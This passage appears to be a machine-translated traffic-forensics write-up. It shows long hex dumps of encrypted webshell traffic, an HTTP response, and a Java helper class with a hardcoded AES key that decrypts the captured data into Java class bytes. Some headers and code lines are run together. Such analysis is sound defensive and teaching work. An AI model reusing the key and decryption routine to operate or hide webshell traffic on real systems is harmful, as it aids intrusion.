c1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633"}
*/
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=66F5F21745E86D7D60B9253FABA7D17A.server; Path=/; HttpOnly
Content-Type: text/xml;charset=UTF-8Content-Length: 0Date: Mon, 25 Jul 2022 11:16:17 GMT
Connection: close
Мы ясно можем найти характеристики класса CAFEBA.
Мы извлекли байт-код и открыли его с помощью jd-gui, но обнаружили, что его невозможно открыть. Поэтому после консультации с соответствующим мастером может возникнуть проблема в процессе чтения и декодирования.
package nuc.edu.hello.controller;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;public class Test { public static byte[] aes128(byte[] s, int mode) { try {
Cipher c = Cipher.getInstance("AES");
c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);
} catch (Exception exception) { return null;
}
} public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try {
Class<?> base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception exception1) {
}
} return value;
} public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4;
f |= Character.digit(data[j++], 16);
out[i] = (byte) (f & 0xFF);
i++;
} return out;
} public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null;
String str; try {
Class<?> base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
} catch (Exception exception) { try {
Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
str=str.replace("\n", "").replace("\r", "");
encrypted=str.getBytes();
} catch (Exception exception1) {
}
} return encrypted;
} public static void main(String[] args) throws IOException {
/*
* Совет: Эта строка кода слишком длинная, и система автоматически комментирует ее, не выделяя. Один клик копировать удалит системные комментарии
* String b = "{\"kvs\":{\"SaveLogResult\":[0]},\"tags\":{\"isSucc\":true,\"sdkVersion\":\"2.1.4\",\"projectName\":\"Publish\"},\"extraData\":\"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819a2107246e5500edb8ef653e20a9041065ed1b5dbce58ba85c9fdad45957ad326589849d982e389a086f2b5f22c5a2a1a23e4312c121c96a4005a70545bdac9a4bbd9f5827c12c06511a7819133b2d2477b6db12f7f4dd9729fa95ece70417e79461d38645cd3c2ace3dae14b6738fe1844dd430969543404c8355c6b88c27e2cd2735ccaff37cd12c34ea6994fc7f826519fdaf2b2a5a9cacf0aadd72026b350aef04b165f2778f295fdbc622f3265211cac3c9fc14fb5e49b8d7025114df279ad03ea3ce79b1e03927f8ff46ca5c96edc9412b11d161c7737a1cf9c4658bb04db4cb313248f5354e0d8b231b824cca78886e4162a5ae9720eb9a3e25d490c90ff1a25c51d89b920088a1fabca4fe0fa72380396456feab046d069bf5858782c1ab7f9df68560e48f7642e9d4865397f6b1ee0775ffea9fc0e41b6684fb71ef665fab1170abb184b5faf4b0ef3a3c48561fbd857c423b8cf063dd8f0fbf9928a9234e4cbd355d98c86a71be5ea834b07938559251453969e22d47896e5fffb3881b64fd0edc1f6d0780dbda020ee23cb93d8f4915ccd537bac95bf9fa58ce70d2b566f2fc38a5297c067ea709bb21688cc6070b86f2fd9c8d0e69df7307b66f66f1d964004b56ab906b225b78249feaa4ca7d0e2281adc14b94ae071724d67bc151a049376e13169ca254a53bebc4f6fa7a070c8d33b01f78ef2cc792713ecc8b31db3cf9657e6f824ea3e62781be3439e8f2f467264e786977956bc8eb8aa0410ec4c2e92866cfa7daf4489c03941f76b97f58957a91432e56ce0c8312feca034775cc360c712a44b66a1ff6d9427f6b462bf5877ec82d19828a28d4304a1f75542afa4cd01d3335fd7f54a2497c000892f2edd61cf8cf6b831335dda677d40d5416c717f953cd03fdf8b3b97d4330787bae19161353ae6d56fb748d8c8fb75864701f37f14704f6ae504a4341feec90f98414c5183be580931d70d250ebe3c2e02437306941f38a635d4fccd63c1a986f783324aee1be23d3dba595837634c9756370204374eb14d3dc5abfa8f20085ce695e6b4afe20f595ddc7d7ef1752a2b51f217acc1f6ef9c2bf1a2b39830b793782ebe7d49d4640e8e5cd7ce4e177e419409532bb3fe4b0ea4625f6875d00872ddec9a69fdb226771f7f6a17628968f462f16d213dbae293f17d4ba43aa47a2abb2b82bdc5406f58b0b1871ca99b057d27961ded01927f24b73228d20a7b8434713ac7654118792b5f2a3e2b015448d85a3ebba4219dfb91ba8b3f2f25c1b3950b0b596bac6f80e0bd7204fee345653d5a6be81df69795550cfb2aa200753f69702aa4a70cfb9f4b624bf952d20e93f640fee64413b7b94a9ab89e6dccf32c9cb0f93c2b4d1870fc145ad68371287781b56fad23bebdb885c3fe78c475aeb69af6f658ae914957e11dcf00aad39a6f5b645836624598efe0398b9a4e494a575e86eee0c3e31e3601c5bd6291a955bb917310b15916670ad67a330324162da31e138c926ae7fe3bf5fedf7e71233f75db5b70f1f7941ce93dafd21ae94a7501af83873c50229411e9bfd3531958833257b8cbdfc2f9f36c21aecc13a9d95e1ad07b45e5234dfa72850035463ee36528f1c9290784ee26833fee11a527c5b70d61ff7c220083282e7a1c3d97b0fe6566e176503030d1059445631c5a77b5766896fb0fa84bfac8a051c49653f6fe38ce681cdb81e53931e6373143958bc83647a44c1d1e67d6534f8e8e371f57f5bc11131c9fcd6f096523a2ad3444f890a779c8a2bd0e894ecc9e12a4e22719ab2f7ccb6f3b3e30328f689b32582bd3c64520f823788f2ecef65af804be8fd622d29961f681f2c91c2deefcf789346b812711949f1c092f19b569c4a04a6f6c8ad1e4b4bc47c2b2237bc93eb221a552e171573143eb36e27de9fa33e7ec94ade8762d2fbce59096170475bd0339161d305e0fcef615caeec8ff69de8e4868733721e28ca55847007b12fab0020aa4b148d5937bebdf17d4c10ec055ad1f2b031039028329be4ce5add7d6cd77887d4e9af1201c12e9a27cc64db857f49345f28fd6bc680fea95845a100c02645af06541eece0f4c342cee4f2a90eb8bca9dd31e14f8e7cf4dca60d978c63c921a7911cad1a6daff744bccb612283acb705defb2a5c3cca6744f93130ea32334a71b23578c45d844dd7ae90c4ac252b9487e354384352ca12f09056bfdfdf39b7b4e3a98e8c900a8b6d85be2cf329abaa5450f0b235d624e0aae1a8f19af5bebb5ae7d7f9ccb895fcbf5889a97f7341e4e47bb941a034d00b28f6b3e4425f93151db1aba7a2abb8c7a01307bb4a88f3c27f5d09aeba01d3b3e0acb746b0de6eae287b7b3f7f41f507721dc5737bce02d2df6fa4686ee77765a2a63d3d7c19eb4fbc50bad9bfd0f244f19176e345df36967bd14effd4104981b846c23c6d85415c865025adb1db1778147363b1d6ffe7b016fa61204718f06bbde2cfdb499c292105d81bcc25b2d08f245801ff59df25dfb42a9d0c2e25a93443e14f8bc30ed52361a5730c12a639b3ca290615727c4e892b1e797a9d9fb6a6501b0b9fb1cf91979975951cf84798d43c73e754678d40e2b14904ffdbecee122fec5274e0d61d0a5c1f496b29c485614338568bc30ed52361a5730c12a639b3ca2906c70ac2fc78673125867b9ac63fa04eb6448f8d478945482bafc7a77ff6dc5877be60f90a79d93020c58bacbb8e1108902b33dd52592b6c7c3dcba6bec8c1ba2f01efbb75c9809394f059b2c43bb31f766ca710583ed06a53b8c9cda46bfc905e13dfe46398e79d0643a1c91812fb04e1cccfdc465e81d168f99ef3f345c09ca4dde4c3b37174a9e004b1fb1393fdb77aa5c528e41b30bf7d533f93d747dfdf2c6d8630560c54c9ddc850cd15938551af8a75a46a6fcd065d64021af713dab0c25dbaf55b6ed849d3a82888a2cfb0390e6ddefc31f575a3b7f0b9c099cb39a2fe3070b4b578fc93069293243fecdf52bd9b20dd75e50dbd2723e828863dee27d648cb5aaf9c1cd67ba1acae9eafee634f5237394fb2be0fb6d9362116e2e9d2778d02a57a45672bb29f69bc05a7d6c24c824deaf39c5c89e4c11b419fc07dd6148d1d1b319aeb7a37a3d8b5a845001c23417be44443ef7c4429976cfceb93b9fed1a460c33d3e5a830f231efbf719e70c62b95a98c1fc96812df269f5703e8b9f1c227ad1535cfe5f410c9124e6b51dbac27e5565d24805b5cea1a42f2dcf445a97847521d47dd237a98d005d32d303326e4df3572e7f7b1c66c4c94d890a565fd23cffde99a8f1e404043c221e4d1a16668bc985c7970931d0596dc745be04bf5b60123c77e7ee75c3f276f1f747439634b041da8b774f6a434057fd1f7160e11f030c365c80984b54d33592776fb9fbbcb7532783535a9e987a587aed2b0b9198367f96019b2f30a88419c8854ea01131f1f0b6a142858b2622d1dd42a0c94e1bdc43312c913419b1bf33763b1f22c65895f72403a6934b9e5f76b80e6dd1c477df564661467b261c995b444b91638c2e2eb1d86839881ceb4181307644843e7d6603b43d4d99a508d8006bcc7a8fe991c86461d3eb83856bdfd1f62af13ad0d7c8bdd825cbc18b2da1815c462f22b4b02e2c8d155b597e931dc8bb73ada730541df773bd09daa94f027c95fdd7c20bf81701e8dcf6f56e19df385a4e1a11ca09fbed893edc5565f511698b7699e1ce7ae0808d688f72fab395588f9a6cdaf343ffaf28e567e4e4b522cdc049dc967e462919969fb3ab1545a37cdd65db7f5e55ee9e725ba8eafb397ef7f0cfccbfd9ecd77121f923fa0e96aa7cca3e7c468af96ae4e885a4d55684c22ee09bf55928c6f8a4586524ec5e86abcf9dc9ccc070b3cf2e1bd7a96451c9db07b508e38a997903500da4131d649664503399f92995071e715265636b188306c404457de80680de7daeeb3a60b2fe72a967df57771faf582bd4da954e9330b80b6884825c944fc92e66c48fbb3aa8084ef1b9f884defc1de48c74ddc0c1dec8de843eff59ca382fdd3cd15c1af94625ae37e30ca33c706ad1a5faec9d001987ee2175053150795fd23fc0b6bd69b239c3156bbb5774652778400d8207172d2abf0c3f5009064bd210b8a91c67675b44f0001b9e88f555847acc0a75fc691c11c0f2bded2807e32e08924272d2d1fcda2f44982ba1caad11ee85910bae2b5de4106bf8334980d929029065eb5f92a4b2525eefca629f115b83f66ca002aeafd3c6fc31ce2529df84868bfd02a0fd678dc6597c4254e53ec0fcd172c6ac20f4200044f8c4ad25db769134eb29241e7b5c0a0ebcbce130d2a72b86bc3d9955ea3df8d5889a3805e2024441f522a85e8f